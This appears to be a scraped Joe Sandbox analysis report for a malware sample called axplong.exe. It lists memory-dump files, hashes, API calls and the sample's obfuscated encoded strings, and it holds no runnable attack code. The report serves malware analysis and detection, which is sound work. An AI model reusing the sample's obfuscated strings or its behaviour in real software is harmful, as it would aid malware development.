Associated: 00000003.00000002.2320400071.00000000008B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320429989.00000000008B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320456348.00000000008BB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320489893.00000000008BC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320812738.00000000008C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320858551.00000000008DD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320879777.00000000008E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320904288.00000000008E3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320932332.00000000008E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320952099.00000000008EF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2324668175.00000000008F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2324723457.00000000008FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2324801236.00000000008FE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2324939310.00000000008FF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2324996817.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2325091929.0000000000909000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328150951.000000000090A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328189416.0000000000912000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328232078.0000000000913000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328284566.0000000000914000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328318267.000000000091C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328363623.000000000092D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328404891.000000000092E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328464248.000000000094F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328510477.0000000000950000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328510477.000000000095C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328589917.0000000000987000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328630163.0000000000988000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328673764.0000000000989000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328714567.000000000098E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328749895.0000000000990000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328795594.000000000099E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328827990.000000000099F000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_690000_axplong.jbxd

Yara matches

Similarity

API ID: ___std_exception_copy
String ID: P#i$P#i
API String ID: 2659868963-1653140521
Opcode ID: 20259a3c1f1780ffc87db7a8f7203c6efdb4a366185b1476eace3aac8649f9be
Instruction ID: c7345f171bb9008d82b6823ae24c535398e4de45ca88043270a7bd9d431b1a7e
Opcode Fuzzy Hash: 20259a3c1f1780ffc87db7a8f7203c6efdb4a366185b1476eace3aac8649f9be
Instruction Fuzzy Hash: 6DD0C2B29203555BD6009F99C800942BBDDDE16210700852AF144E7200F2B0E8908BE4

Function 00692E10 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 13COMMON

Download Yara Rule

APIs

__Mtx_destroy_in_situ.LIBCPMT ref: 00692E1D
__Cnd_destroy_in_situ.LIBCPMT ref: 00692E26

Strings

@.i, xrefs: 00692E16

Memory Dump Source

Source File: 00000003.00000002.2319764811.0000000000691000.00000040.00000001.01000000.00000007.sdmp, Offset: 00690000, based on PE: true

Associated: 00000003.00000002.2319733007.0000000000690000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2319764811.00000000006F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2319841163.00000000006F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2319867852.00000000006FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2319893977.0000000000707000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320066184.000000000085D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320092933.0000000000860000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320117982.0000000000870000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320140932.0000000000872000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320163140.0000000000873000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320163140.000000000087C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320237341.0000000000897000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320257409.0000000000898000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320303144.00000000008AD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320400071.00000000008B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320429989.00000000008B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320456348.00000000008BB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320489893.00000000008BC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320812738.00000000008C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320858551.00000000008DD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320879777.00000000008E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320904288.00000000008E3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320932332.00000000008E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320952099.00000000008EF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2324668175.00000000008F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2324723457.00000000008FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2324801236.00000000008FE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2324939310.00000000008FF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2324996817.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2325091929.0000000000909000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328150951.000000000090A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328189416.0000000000912000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328232078.0000000000913000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328284566.0000000000914000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328318267.000000000091C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328363623.000000000092D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328404891.000000000092E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328464248.000000000094F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328510477.0000000000950000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328510477.000000000095C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328589917.0000000000987000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328630163.0000000000988000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328673764.0000000000989000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328714567.000000000098E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328749895.0000000000990000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328795594.000000000099E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328827990.000000000099F000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_690000_axplong.jbxd

Yara matches

Similarity

API ID: Cnd_destroy_in_situMtx_destroy_in_situ
String ID: @.i
API String ID: 1432671424-2964489218
Opcode ID: 93b2c16cd95e5253eb68022fbbd387c5461fbacca5e33527347e362645fdca54
Instruction ID: 0e27dcadc62a7fe6910adfd197f53cd6aaa9c28a413c100d5be33ea7be94a535
Opcode Fuzzy Hash: 93b2c16cd95e5253eb68022fbbd387c5461fbacca5e33527347e362645fdca54
Instruction Fuzzy Hash: 39D012B6C037514BC760FF65A801C877BDEAE0A3203910D6EF4D197601EBB0B9848F54

Analysis Process: axplong.exePID: 7416, Parent PID: 1064COMMON

Execution Graph

Execution Coverage:	5.5%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	7.4%
Total number of Nodes:	1118
Total number of Limit Nodes:	119

Executed Functions

Function 006D23D7 Relevance: 7.4, APIs: 1, Strings: 3, Instructions: 374
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTimeZoneInformation.KERNEL32(?,00000000,00000000,00000000,?,006E6758), ref: 006D261C

Strings

Eastern Summer Time, xrefs: 006D26BA
Eastern Standard Time, xrefs: 006D268B
Xgn, xrefs: 006D25C5, 006D25CB

Memory Dump Source

Source File: 00000013.00000002.4690859834.0000000000691000.00000040.00000001.01000000.00000007.sdmp, Offset: 00690000, based on PE: true

Associated: 00000013.00000002.4689556026.0000000000690000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4690859834.00000000006F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4691660698.00000000006F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4691765971.00000000006FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4691911663.0000000000707000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4696692809.000000000085D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4696975055.0000000000860000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4697922280.0000000000870000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4699420723.0000000000872000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4699563536.0000000000873000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4699563536.000000000087C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4702535882.0000000000897000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4702653147.0000000000898000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4704422063.00000000008AD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4704505096.00000000008B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4704629322.00000000008B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4705496854.00000000008BB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4706629701.00000000008BC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4707686757.00000000008C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4707799817.00000000008DD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4707878299.00000000008E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4708044169.00000000008E3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709122257.00000000008E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709210472.00000000008EF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709395907.00000000008F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709484840.00000000008FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709550569.00000000008FE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709614822.00000000008FF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709661927.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4710559459.0000000000909000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4710696124.000000000090A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4710869674.0000000000912000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4712984146.0000000000913000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713341867.0000000000914000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713438502.000000000091C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713587627.000000000092D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713853632.000000000092E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714384535.000000000094F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714509226.0000000000950000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714509226.000000000095C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714609959.0000000000987000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714652704.0000000000988000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714699467.0000000000989000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714743825.000000000098E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714783479.0000000000990000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714828772.000000000099E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714871922.000000000099F000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_690000_axplong.jbxd

Yara matches

Similarity

API ID: InformationTimeZone
String ID: Eastern Standard Time$Eastern Summer Time$Xgn
API String ID: 565725191-2117068305
Opcode ID: 41a8838f372cbda7f17353637ab50276fc3fefa5aea52ba388897a82566818e9
Instruction ID: e47b449bc165a28731d6373254035f0355097f122d852d3cf47738ea4483470e
Opcode Fuzzy Hash: 41a8838f372cbda7f17353637ab50276fc3fefa5aea52ba388897a82566818e9
Instruction Fuzzy Hash: C2C11471D0024AABDB249F68DC61EFA7BABAF65314F1401AFE44197342E7709E42C754

Function 006965B0 Relevance: 7.3, APIs: 1, Strings: 3, Instructions: 257
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LookupAccountNameA.ADVAPI32(00000000,?,?,000000FF,?,?,?), ref: 00696650

Strings

GVQsgL==, xrefs: 006966F8
IVKsgL==, xrefs: 006967A1
RBPleCSm, xrefs: 0069666C

Memory Dump Source

Source File: 00000013.00000002.4690859834.0000000000691000.00000040.00000001.01000000.00000007.sdmp, Offset: 00690000, based on PE: true

Associated: 00000013.00000002.4689556026.0000000000690000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4690859834.00000000006F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4691660698.00000000006F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4691765971.00000000006FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4691911663.0000000000707000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4696692809.000000000085D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4696975055.0000000000860000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4697922280.0000000000870000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4699420723.0000000000872000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4699563536.0000000000873000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4699563536.000000000087C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4702535882.0000000000897000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4702653147.0000000000898000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4704422063.00000000008AD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4704505096.00000000008B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4704629322.00000000008B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4705496854.00000000008BB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4706629701.00000000008BC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4707686757.00000000008C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4707799817.00000000008DD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4707878299.00000000008E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4708044169.00000000008E3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709122257.00000000008E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709210472.00000000008EF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709395907.00000000008F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709484840.00000000008FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709550569.00000000008FE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709614822.00000000008FF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709661927.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4710559459.0000000000909000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4710696124.000000000090A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4710869674.0000000000912000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4712984146.0000000000913000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713341867.0000000000914000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713438502.000000000091C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713587627.000000000092D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713853632.000000000092E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714384535.000000000094F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714509226.0000000000950000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714509226.000000000095C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714609959.0000000000987000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714652704.0000000000988000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714699467.0000000000989000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714743825.000000000098E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714783479.0000000000990000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714828772.000000000099E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714871922.000000000099F000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_690000_axplong.jbxd

Yara matches

Similarity

API ID: AccountLookupName
String ID: GVQsgL==$IVKsgL==$RBPleCSm
API String ID: 1484870144-3856690409
Opcode ID: 1dc281fd725d7cbee33ef8c24f38b0341db48c17705a367f413edc18347840e5
Instruction ID: 3e176dd90a567d12d7152685f5bdafddb3a70df07aec45d6e6af935d24ae27cf
Opcode Fuzzy Hash: 1dc281fd725d7cbee33ef8c24f38b0341db48c17705a367f413edc18347840e5
Instruction Fuzzy Hash: 029192B1A002189BDF28EB24CC95BEDB77AEB45304F4045EDF50997681DA349F84CFA9

Function 006A2E20 Relevance: 34.6, APIs: 4, Strings: 15, Instructions: 1325COMMON

Download Yara Rule

Strings

WWp=, xrefs: 006A2A93, 006A3359
WGt=, xrefs: 006A27D1, 006A33BA
Fz==, xrefs: 006A369E
8KG0fCKZFzY=, xrefs: 006A2F64
WJms, xrefs: 006A3BD9
8KG0fymoFx==, xrefs: 006A2EC7, 006A3136
V5Qk, xrefs: 006A3DC0
HBhr, xrefs: 006A378F
invalid stoi argument, xrefs: 006A2DE9, 006A2DF8, 006A425A
", xrefs: 006A3E99
stoi argument out of range, xrefs: 006A2E02, 006A4269
246122658369, xrefs: 006A1EA5, 006A27EE, 006A2A43, 006A2AB0, 006A2E88, 006A3373, 006A33D4
5120, xrefs: 006A3ABF, 006A3BAA
W07l, xrefs: 006A3AEE
WWt=, xrefs: 006A1E88, 006A2A26, 006A2E6E

Memory Dump Source

Source File: 00000013.00000002.4690859834.0000000000691000.00000040.00000001.01000000.00000007.sdmp, Offset: 00690000, based on PE: true

Associated: 00000013.00000002.4689556026.0000000000690000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4690859834.00000000006F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4691660698.00000000006F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4691765971.00000000006FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4691911663.0000000000707000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4696692809.000000000085D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4696975055.0000000000860000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4697922280.0000000000870000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4699420723.0000000000872000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4699563536.0000000000873000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4699563536.000000000087C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4702535882.0000000000897000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4702653147.0000000000898000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4704422063.00000000008AD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4704505096.00000000008B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4704629322.00000000008B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4705496854.00000000008BB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4706629701.00000000008BC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4707686757.00000000008C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4707799817.00000000008DD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4707878299.00000000008E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4708044169.00000000008E3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709122257.00000000008E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709210472.00000000008EF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709395907.00000000008F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709484840.00000000008FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709550569.00000000008FE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709614822.00000000008FF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709661927.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4710559459.0000000000909000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4710696124.000000000090A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4710869674.0000000000912000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4712984146.0000000000913000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713341867.0000000000914000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713438502.000000000091C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713587627.000000000092D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713853632.000000000092E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714384535.000000000094F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714509226.0000000000950000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714509226.000000000095C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714609959.0000000000987000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714652704.0000000000988000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714699467.0000000000989000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714743825.000000000098E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714783479.0000000000990000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714828772.000000000099E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714871922.000000000099F000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_690000_axplong.jbxd

Yara matches

Similarity

API ID: Cnd_destroy_in_situMtx_destroy_in_situ
String ID: "$246122658369$5120$8KG0fCKZFzY=$8KG0fymoFx==$Fz==$HBhr$V5Qk$W07l$WGt=$WJms$WWp=$WWt=$invalid stoi argument$stoi argument out of range
API String ID: 1432671424-2030321068
Opcode ID: ba7e74da6ceec182759f0fdc96c94c0979a8dae3d1f60216867bd48f3fa7d4b4
Instruction ID: 643ec7cc6f6f3b2f99ddd2e685238a7b7fcfdb14ca4531e507591a05d92e5ae6
Opcode Fuzzy Hash: ba7e74da6ceec182759f0fdc96c94c0979a8dae3d1f60216867bd48f3fa7d4b4
Instruction Fuzzy Hash: 38B2E071A002489BEF18EF68CD4A79DBBB6AF46304F50419CF405AB382D7759F848F96

Function 0069EA5E Relevance: 28.4, APIs: 1, Strings: 14, Instructions: 2131
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateDirectoryA.KERNEL32(00000000), ref: 0069EB93

Strings

GlNgUSfi8Dy=, xrefs: 0069FDC6
WWp=, xrefs: 006A04DA
UD==, xrefs: 0069EB51, 0069EC66, 0069EE99, 0069F1DE
WGt=, xrefs: 0069F62D, 0069F90A, 0069FCF3
fed3aa, xrefs: 0069FA9E
puu2B7m, xrefs: 0069ED94
invalid stoi argument, xrefs: 006A07C0
#, xrefs: 006A0534
FFNmLv==, xrefs: 0069FDF4
d4o, xrefs: 0069F6D5
111, xrefs: 0069F6B0
stoi argument out of range, xrefs: 006A07D4
246122658369, xrefs: 0069F647, 0069F924, 0069FD10, 006A04F7
FlpmMdzrTXUg, xrefs: 0069FE29

Memory Dump Source

Source File: 00000013.00000002.4690859834.0000000000691000.00000040.00000001.01000000.00000007.sdmp, Offset: 00690000, based on PE: true

Associated: 00000013.00000002.4689556026.0000000000690000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4690859834.00000000006F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4691660698.00000000006F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4691765971.00000000006FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4691911663.0000000000707000.00000080.00000001.01000000.00000007.sdmpDownload File
